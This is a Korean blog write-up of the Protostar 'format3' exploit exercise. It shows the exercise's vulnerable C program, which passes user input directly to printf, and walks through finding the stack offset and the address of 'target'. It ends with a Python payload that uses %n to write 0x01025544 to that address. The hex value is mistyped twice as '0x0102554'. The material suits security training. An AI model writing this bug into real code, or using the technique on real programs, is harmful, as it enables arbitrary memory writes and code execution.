ii4gsp

Exploit Exercises [Protostar - Format3] 본문

시스템 해킹/Exploit Exercises - Protostar

Exploit Exercises [Protostar - Format3]

ii4gsp 2020. 1. 17. 19:54
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void printbuffer(char *string)
{
  printf(string);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printbuffer(buffer);
  
  if(target == 0x01025544) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %08x :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}

target의 값을 0x01025544로 바꿔줘야 한다.

 

 

 

 

문자 AAAA를 보내고 .%08x로 12번째 주소에 41414141이 저장되어있다.

 

 

 

 

target의 주소를 구해주었다.

target의 주소는 0x080496f4 이다.

 

 

 

 

변경해야하는 값 0x0102554는 10진수로 16,930,116 이다.

페이로드는 target 주소 + %08x * 10 + %16,930,032x%n

16,930,032는 target주소와 포맷 공백은 84를 빼준 값이다.

그래야 앞에있는 84와 16,930,032가 더해져 16,930,116이 되어 16진수값 0x0102554가 target주소에 값이 들어간다.

 

 

 

 

payload

(python -c 'print "\xf4\x96\x04\x08" + "%08x" * 10 + "%16930032x%n"') | ./format3
Comments